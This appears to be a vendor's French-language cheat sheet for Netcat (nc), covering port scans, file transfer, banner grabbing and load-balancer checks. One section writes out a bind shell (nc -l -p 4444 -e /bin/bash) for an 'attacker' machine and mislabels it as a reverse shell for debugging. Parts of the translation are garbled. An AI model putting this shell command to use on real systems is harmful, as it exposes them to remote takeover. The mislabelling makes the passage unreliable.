Le Linux nc Commande (Netcat) #
Le Linux nc La commande (Netcat) est un utilitaire réseau polyvalent utilisé pour la communication, le débogage et les tests réseau. Elle peut agir comme un simple serveur ou client et prend en charge la lecture et l'écriture de données via TCP ou UDP. Surnommée le « couteau suisse » du réseau, nc est largement utilisé pour des tâches telles que l'analyse des ports, le transfert de fichiers et le test des services réseau.
Utilisation et syntaxe des clés nc Command #
La syntaxe de base du nc la commande est:
nc [OPTIONS] [HOST] [PORT]
- OPTIONS: Drapeaux pour contrôler le comportement de
nc. - HÔTE: L'hôte cible pour la connexion.
- PORT: Le numéro de port cible.
nc Tableau de triche des commandes #
| Command | Description |
nc -zv example.com 80 |
Tester si le port 80 est activé example.com est ouvert (mode verbeux). |
nc -l 1234 |
Démarrez un écouteur sur le port 1234. |
nc example.com 80 |
Connectez-vous au port 80 sur example.com (par exemple, pour envoyer des requêtes HTTP). |
nc -u example.com 1234 |
Envoyer des données au port UDP 1234 sur example.com. |
nc -l -p 8080 |
Démarrez un serveur à l'écoute sur le port 8080. |
echo "Hello" | nc example.com 1234 |
Envoyez le message Hello à example.com sur le port 1234. |
Cas d’utilisation courants #
1. Analyse des ports #
nc -zv example.com 20-25
Cette commande analyse les ports 20 à 25 sur example.com et affiche leur statut.
2. Configuration d'une conversation simple #
Configurer une conversation simple entre deux systèmes :
Sur le premier système : #
nc -l -p 1234
Sur le deuxième système : #
nc HOSTNAME 1234
remplacer HOSTNAME avec l'adresse IP du premier système.
3. Transfert de fichiers #
Transférer des fichiers entre deux systèmes à l'aide de nc:
Expéditeur: #
cat file.txt | nc -q 0 HOSTNAME 1234
Récepteur: #
nc -l -p 1234 > file.txt
4. Attraper des bannières #
Récupérer les informations de service à partir d'un serveur distant :
nc example.com 80
Type HEAD / HTTP/1.0 et appuyez sur Enter deux fois pour afficher les en-têtes HTTP.
Utilisation avancée #
Connectivité UDP #
Tester la connectivité UDP vers une cible :
nc -u example.com 1234
Cela envoie des données au port UDP 1234 sur example.com.
Coquille de liaison #
Créez un shell inversé simple pour le débogage :
Sur la machine distante : #
nc -l -p 4444 -e /bin/bash
Sur la machine de l'attaquant : #
nc TARGET 4444
Utiliser Netcat en toute sécurité #
Pour une sécurité renforcée, utilisez la version cryptographique de nc (par exemple, ncat avec SSL).
L'utilisation de nc au RELIANOID Solutions #
In RELIANOIDl'infrastructure réseau de , nc peut servir à diverses fins diagnostiques et opérationnelles :
1. Tester la connectivité de l'équilibreur de charge #
nc -zv loadbalancer.realianoid.local 80
Vérifiez que l’équilibreur de charge accepte le trafic sur le port 80.
2. Surveiller les services backend #
Vérifiez rapidement l’état des serveurs backend :
nc -zv backend1.realianoid.local 8080
Cela vérifie si le service backend est accessible sur le port 8080.
3. Valider la redirection du serveur proxy #
Vérifiez si le serveur proxy transfère correctement le trafic :
nc proxy.realianoid.local 443
4. Débogage des protocoles personnalisés #
Utilisez le nc pour déboguer ou simuler des interactions avec des protocoles personnalisés dans RELIANOIDl'environnement.
nc -l -p 5555
Configurez un écouteur pour tester les messages du protocole.
Résumé #
Le nc La commande (Netcat) est un outil indispensable pour les professionnels des réseaux. Sa capacité à analyser les ports, transférer des fichiers et déboguer la connectivité la rend idéale pour les applications polyvalentes. nc au RELIANOID L'infrastructure contribue à garantir des performances réseau robustes et une résolution rapide des problèmes.